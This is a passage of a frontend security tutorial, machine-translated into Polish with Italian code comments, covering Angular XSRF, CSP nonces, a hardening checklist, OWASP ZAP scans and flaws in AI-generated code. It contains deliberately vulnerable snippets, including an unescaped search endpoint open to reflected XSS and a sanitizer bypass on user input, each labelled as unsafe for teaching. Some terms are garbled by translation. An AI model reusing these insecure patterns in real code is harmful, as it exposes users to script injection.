// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
Ochrona HttpClient XSRF
Formularz HttpClient Angular natywnie obsługuje ochronę CSRF poprzez
mechanizm podwójnego przesyłania plików cookie. Aby go aktywować, po prostu pozwól serwerowi ustawić plik cookie
XSRF-TOKEN: Angular automatycznie go odczyta i dołączy jako nagłówek
X-XSRF-TOKEN w każdym żądaniu POST, PUT, DELETE i PATCH.
// app.config.ts
import {
provideHttpClient,
withXsrfConfiguration,
withInterceptors
} from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
// XSRF automatico
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}),
// Interceptor personalizzati
withInterceptors([authInterceptor, errorInterceptor])
)
]
};
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
// Aggiungi Authorization solo per le API interne
if (req.url.startsWith('/api/')) {
const token = localStorage.getItem('access_token');
if (token) {
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` }
});
return next(authReq);
}
}
return next(req);
};
CSP i Angular: wyzwania i rozwiązania
Angular generuje style wbudowane dla komponentów (część View Encapsulation). To wymaga
'unsafe-inline' in style-src, czyli na szczęście dużo mniej
niebezpieczne niż 'unsafe-inline' in script-src. W przypadku skryptów użyj
zawsze systemem nonce.
// server.ts - Angular Universal con nonce CSP
import { ngExpressEngine } from '@nguniversal/express-engine';
import crypto from 'crypto';
app.engine('html', ngExpressEngine({
bootstrap: AppServerModule
}));
app.get('*', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
// Imposta CSP con il nonce
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; ` +
`font-src 'self' https://fonts.gstatic.com; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.example.com; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
res.render('index', {
req,
providers: [
{ provide: 'CSP_NONCE', useValue: nonce }
]
});
});
Pełna lista kontrolna zabezpieczeń frontendu
Użyj tej listy kontrolnej jako punktu odniesienia dla każdego projektu frontendowego. Każdy punkt reprezentuje a specyficzna obrona przed udokumentowanym atakiem.
Zapobieganie XSS
- Nigdy nie używaj
innerHTML,document.write()oeval()z danymi użytkownika - Używać
textContentzamiastinnerHTMLkiedy tylko to możliwe - Zastosuj kodowanie wyjściowe odpowiednie do kontekstu (HTML, URL, JavaScript, CSS)
- Oczyść dane wejściowe HTML za pomocą DOMPurify przed renderowaniem
- Nie omijaj środka dezynfekującego Angular/React bez udokumentowanego powodu
- Sprawdź adresy URL przed ich użyciem
hrefosrc(blokjavascript:) - Sprawdź pochodzenie
postMessage
Zapobieganie CSRF
- Ustawić
SameSite=Lax(minimum) we wszystkich sesyjnych plikach cookie - Zaimplementuj token CSRF dla wszystkich żądań mutacyjnych (POST, PUT, DELETE, PATCH)
- Sprawdź nagłówek
OriginoRefererjako dodatkowa obrona - Skonfiguruj obsługę Angular XSRF (
withXsrfConfiguration) - Nie wykonuj wrażliwych działań za pośrednictwem żądań GET
- Poproś o ponowne uwierzytelnienie w przypadku krytycznych operacji (zmiana hasła, transfer)
Nagłówki CSP i HTTP
- Skonfiguruj restrykcyjnego dostawcę CSP za pomocą
default-src 'self' - Używać
nonceohashw przypadku skryptów unikaj'unsafe-inline' - Przetestuj CSP w
Report-Onlyprzed jego aktywacją - Monitoruj raporty o naruszeniach CSP w środowisku produkcyjnym
- Ustawić
X-Frame-Options: DENYaby zapobiec clickjackingowi - Ustawić
X-Content-Type-Options: nosniff - Aktywuj HSTS za pomocą
includeSubDomainsepreload - Skonfiguruj
Referrer-PolicyePermissions-Policy - Sprawdź swój wynik na stronie securityheaders.com (cel: A+)
Bezpieczeństwo plików cookie
- Ustaw flagę
HttpOnlywe wszystkich sesyjnych plikach cookie - Ustaw flagę
Secureaby wysyłać pliki cookie wyłącznie za pośrednictwem protokołu HTTPS - Ustawić
SameSite=LaxoStrict - Określić
PatheDomaintak restrykcyjne, jak to tylko możliwe - Ustawić
Max-Agerozsądne (nie niekończące się sesje) - Nie zapisuj tokenów JWT w
localStorage(podatny na XSS): preferuj pliki cookieHttpOnly
Narzędzie do testowania bezpieczeństwa frontendu
Ręczne testowanie bezpieczeństwa nie wystarczy. Te profesjonalne narzędzia automatyzują wykrywanie podatności XSS, CSRF i błędnej konfiguracji nagłówków.
| Narzędzia | Typ | Główne zastosowanie | Koszt |
|---|---|---|---|
| OWASP ZAP | DAST (skaner proxy) | Automatyczne skanowanie w poszukiwaniu XSS, CSRF, wtrysku i błędnych konfiguracji | Bezpłatny |
| Apartament Burp | DAST (zaawansowany serwer proxy) | Ręczne i automatyczne testy penetracyjne, zaawansowany fuzzing | Społeczność (bezpłatna) / Pro (449 USD rocznie) |
| securityheaders.com | Analiza nagłówka | Szybko sprawdź wszystkie nagłówki zabezpieczeń z oceną A-F | Bezpłatny |
| Ewaluator CSP | Analiza CSP | Weryfikacja specyficzna dla zasad CSP z sugestiami Google | Bezpłatny |
| Snyk | SCA + SAST | Skanuj w poszukiwaniu luk w zależnościach i kodzie źródłowym | Bezpłatny poziom / zespół (25 USD/miesiąc) |
| Bezpieczeństwo ESLint | SAST (linter) | Reguły Lint do wykrywania wzorców XSS w kodzie (innerHTML, eval) | Bezpłatny |
// .eslintrc.json - Plugin di sicurezza per Angular/TypeScript
{
"plugins": ["security", "no-unsanitized"],
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error",
"security/detect-unsafe-regex": "warn",
"security/detect-non-literal-regexp": "warn",
"security/detect-object-injection": "warn"
}
}
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
Luki w kodzie generowanym przez sztuczną inteligencję
Masowe przyjęcie narzędzi takich jak Copilot, ChatGPT i Claude do generowania kodu wprowadziło nowe ryzyko: narzędzia te często generują kod, który działa poprawnie, ale zawiera luki w zabezpieczeniach. Według Bezpieczeństwo kodu GenAI Raport Veracode 2025, statystyki są alarmujące.
Statystyki bezpieczeństwa kodu AI
- 86% awaryjności dla skryptów między witrynami (CWE-80) — kod wygenerowany przez sztuczną inteligencję prawie nigdy nie obejmuje oczyszczania XSS
- 88% awaryjności dla Log Injection (CWE-117) — dane użytkownika są rejestrowane bez oczyszczania
- 72% wskaźnik awaryjności dla kodu Java generowanego przez sztuczną inteligencję
- Średni wskaźnik awaryjności 45%. we wszystkich testowanych językach
- Wskaźnik awaryjności 38-45%. specyficzne dla Pythona, JavaScript i C#
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r =>
`<li>${escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
Podstawowa zasada kodu AI
Kod wygenerowany przez sztuczną inteligencję nie jest domyślnie bezpieczny. Traktuj każdy wygenerowany fragment przez AI jako kod napisany przez młodszego programistę - może działać, ale wymaga zawsze jeden przegląd bezpieczeństwa przed wejściem do produkcji. Sprawdź w szczególności: oczyszczanie danych wejściowych, ucieczka danych wyjściowych, obsługa błędów (zamknięte w trybie awaryjnym), kontrole autoryzacji i brak zakodowanych na stałe sekretów.
Wnioski i dalsze kroki
Bezpieczeństwo frontendu nie jest opcjonalne: jest podstawowym obowiązkiem każdego programisty. XSS, CSRF i brak nagłówków zabezpieczeń to konkretne luki, które się pojawiają eksploatowany codziennie. Dobra wiadomość jest taka, że zabezpieczenia istnieją, są dobrze udokumentowane i frameworki takie jak Angular implementują je natywnie.
Praktyczna ścieżka zabezpieczenia aplikacji frontendowej:
- Dzień 1: Skonfiguruj nagłówki zabezpieczeń za pomocą aplikacji Helmet i sprawdź wynik na stronie securityheaders.com
- Dzień 2: Wdróż CSP w trybie „Tylko raport” i analizuj raporty o naruszeniach
- Dzień 3: Sprawdź wszystkie miejsca, w których wstawiasz dane użytkownika w DOM: użyj TextContent lub wyczyść
- Dzień 4: Skonfiguruj ochronę CSRF: pliki cookie SameSite + token XSRF Angulara
- Dzień 5: Uruchom skanowanie OWASP ZAP w aplikacji testowej
Następne artykuły z serii
W przyszłych artykułach zagłębimy się w inne krytyczne obszary bezpieczeństwa sieci:
- Artykuł 03: Wstrzykiwanie SQL i sprawdzanie poprawności danych wejściowych — ochrona zaplecza za pomocą sparametryzowanych zapytań i zaawansowanej walidacji
- Artykuł 04: Bezpieczne uwierzytelnianie — JWT, OAuth2, sesje i uwierzytelnianie wieloskładnikowe
- Artykuł 05: Bezpieczeństwo API — ograniczenie szybkości, klucze API i bezpieczeństwo API REST/GraphQL
Bezpieczeństwo to proces ciągły, a nie meta. Każda aktualizacja frameworka, każda nowa zależność, każda linia kodu (wygenerowana przez człowieka lub sztuczną inteligencję) może ją wprowadzić podatność. Celem nie jest idealne bezpieczeństwo, ale jego zbudowanie obrona dogłębnie gdzie każdy poziom spowalnia i blokuje atakującego, wykonując atak ekonomicznie niekorzystne.







